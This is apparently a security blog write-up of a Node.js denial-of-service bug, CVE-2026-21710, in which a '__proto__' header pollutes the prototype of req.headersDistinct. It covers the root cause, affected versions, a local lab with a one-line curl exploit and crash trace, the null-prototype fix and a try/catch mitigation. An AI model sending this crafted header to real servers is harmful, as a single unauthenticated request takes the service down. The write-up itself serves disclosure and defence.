CVE-2026-21710
This vulnerability exposes a dangerous assumption in how Node.js processes HTTP request headers. When a client sends a header named __proto__, the handler that populates req.headersDistinct uses that name directly as an object key — without any validation — which corrupts the object’s prototype chain. The result is a crash in the main event loop, taking the entire server down with a single unauthenticated request.
Why Does This Happen?
Before getting into the mechanics, one thing to clarify: running an affected version does not automatically make you vulnerable. You are only exposed if your code reads req.headersDistinct. If you never touch that property, the vulnerable code path is never triggered.
Why req.headersDistinct and not req.headers?
The logic that fills req.headersDistinct from the raw headers array does not guard against prototype pollution. It takes header names as-is and uses them as keys on a plain object. When that object gets mutated through __proto__, the next iteration that calls .push() on what it expects to be an array hits a non-array object instead — and throws an unhandled TypeError on the main thread.
Root Cause: A Design-Level Trust Failure
The problem is not just that __proto__ wasn’t filtered. The deeper issue is a flawed assumption at the design level:
The code treats header names as safe object keys. It trusts that user-controlled input — the raw header name from an HTTP request — can be directly used to construct an internal object without affecting the prototype chain.
This is a trust boundary violation. User-controlled data crossed into a layer of the system that governs object behavior, not just data storage. The system never expected that a key could mean something structurally to JavaScript’s runtime, not just semantically to the application.
That design assumption holds for every normal header name. It breaks the moment a client sends __proto__.
Vulnerable Versions
- Node.js 20.x — below 20.20.2
- Node.js 22.x — below 22.22.2
- Node.js 24.x — below 24.14.1
- Node.js 25.x — below 25.8.2
Security Pattern: Prototype Pollution via Key Injection
This CVE is one instance of a broader class of vulnerabilities. The pattern is consistent:
User-controlled keys are used to populate JavaScript objects without protecting the prototype chain.
This shows up in more places than you’d expect:
- Header parsing — as seen here
- Query string parsing —
?__proto__[key]=valuein some parsers - JSON merge operations — deep merging user-supplied JSON into a target object
- Config loaders — dynamically applying keys from external sources
Any time user input drives object key construction in JavaScript, prototype pollution is a possibility worth thinking through. The affected layer changes, but the class of bug stays the same.
Lab
Let’s get our hands dirty and see how this plays out.
I’ll use Node.js 24.14.0. You can compile from source or install from a package manager if the version is available there.
Before running anything, look at the source in /lib/_http_incoming.js — this is the getter responsible for populating req.headersDistinct:
ObjectDefineProperty(IncomingMessage.prototype, 'headersDistinct', {
__proto__: null,
get: function() {
if (!this[kHeadersDistinct]) {
this[kHeadersDistinct] = {};
const src = this.rawHeaders;
const dst = this[kHeadersDistinct];
for (let n = 0; n < this[kHeadersCount]; n += 2) {
this._addHeaderLineDistinct(src[n + 0], src[n + 1], dst);
}
}
return this[kHeadersDistinct];
},
set: function(val) {
this[kHeadersDistinct] = val;
},
});
Nothing obviously wrong yet. Now look at _addHeaderLineDistinct:
function _addHeaderLineDistinct(field, value, dest) {
field = field.toLowerCase();
if (!dest[field]) {
dest[field] = [value];
} else {
dest[field].push(value);
}
}
This is where the issue lives. this.rawHeaders is a flat array of alternating header names and values:
const rawHeaders = [
'Host',
'localhost:3000',
'Connection',
'keep-alive',
'User-Agent',
'Mozilla/5.0 (Windows NT 10.0)'
];
For a normal request, this works fine. A header like x-my-secret-header sent twice collapses into:
{ 'x-my-secret-header': ['123-foo-bar', '456-foo-bar'] }
But send __proto__ as a header name and this happens:
dest['__proto__'] = ['crash'];
That assignment replaces the prototype of dest itself. On the next iteration, the code checks dest[field] for a different header, finds an object where it expects an array or undefined, and calls .push() on it — which throws:
TypeError: dest[field].push is not a function
Because the expected array structure is gone. The prototype chain was replaced, so dest[field] is now resolving against the corrupted prototype rather than the object’s own properties.
That TypeError is unhandled and fires on the main event loop thread. The server goes down.
Reproducing It
Start with this simple server:
const http = require('http');
const server = http.createServer((req, res) => {
const headers = req.headersDistinct;
console.log('headers', headers);
console.log("Request received!");
res.writeHead(200);
res.end("Safe... for now.");
});
server.listen(3000, () => {
console.log("Server running on port 3000");
});
Normal request:
curl -v http://127.0.0.1:3000/hello
Output:
headers {
host: [ '127.0.0.1:3000' ],
'user-agent': [ 'curl/8.7.1' ],
accept: [ '*/*' ]
}
Now send the malicious header:
curl -H "__proto__: crash" http://localhost:3000/hello
The server crashes immediately:
node:_http_incoming:422
dest[field].push(value);
^
TypeError: dest[field].push is not a function
at IncomingMessage._addHeaderLineDistinct (node:_http_incoming:422:17)
at IncomingMessage.get (node:_http_incoming:137:14)
at Server.<anonymous> (/Users/ahmedalahmed/test.js:5:25)
at Server.emit (node:events:508:28)
at parserOnIncoming (node:_http_server:1210:12)
at HTTPParser.parserOnHeadersComplete (node:_http_common:125:17)
Node.js v24.14.0
Real-World Impact
This vulnerability is dangerous not because it’s complex to exploit, but because of how little it requires:
- No authentication — any client can send this request
- Single request — one HTTP call is enough to crash the process
- Main thread — Node.js is single-threaded; an unhandled exception here takes the entire server down, not just a worker
- Any exposed service — every Node.js HTTP server reading
req.headersDistincton the affected versions is a target
In production, this means a full service outage with no degradation window. The server is either up or crashed.
The Fix
The patch is a one-line change:
ObjectDefineProperty(IncomingMessage.prototype, 'headersDistinct', {
__proto__: null,
get: function() {
if (!this[kHeadersDistinct]) {
this[kHeadersDistinct] = { __proto__: null }; // <-- the fix
const src = this.rawHeaders;
const dst = this[kHeadersDistinct];
for (let n = 0; n < this[kHeadersCount]; n += 2) {
this._addHeaderLineDistinct(src[n + 0], src[n + 1], dst);
}
}
return this[kHeadersDistinct];
},
set: function(val) {
this[kHeadersDistinct] = val;
},
});
Why does this work?
A null-prototype object — created with { __proto__: null } — has no inheritance from Object.prototype. It is a completely bare object. When __proto__ is used as a key against it, JavaScript has nothing to corrupt. There is no prototype chain to walk, no prototype property to overwrite. The key is stored as a literal string key, same as any other.
This is not a filter. It doesn’t block bad input. It removes the structural assumption that made the input dangerous in the first place.
If upgrading is not immediately possible, wrapping the property access in a try/catch block prevents the crash, but the request still fails silently. It’s a mitigation, not a fix.
const http = require('http');
const server = http.createServer((req, res) => {
try {
const headers = req.headersDistinct;
console.log('headers', headers);
res.writeHead(200);
res.end("Safe... for now.");
} catch (e) {
console.error("Header parsing failed:", e.message);
res.writeHead(400);
res.end();
}
});
server.listen(3000, () => {
console.log("Server running on port 3000");
});
Key Takeaways
- User-controlled keys should never be used directly in object construction without considering what those keys mean to the JavaScript runtime
- Prototype pollution is still a relevant risk in core runtime libraries — this is not a framework problem or an npm package problem
- A single design assumption — “header names are safe as object keys” — was enough to introduce a full DoS condition
- Null-prototype objects are a simple and reliable mitigation; when you need a plain data store with no inherited behavior, use
Object.create(null)or{ __proto__: null } - The best fixes don’t filter bad input — they remove the structural conditions that make bad input dangerous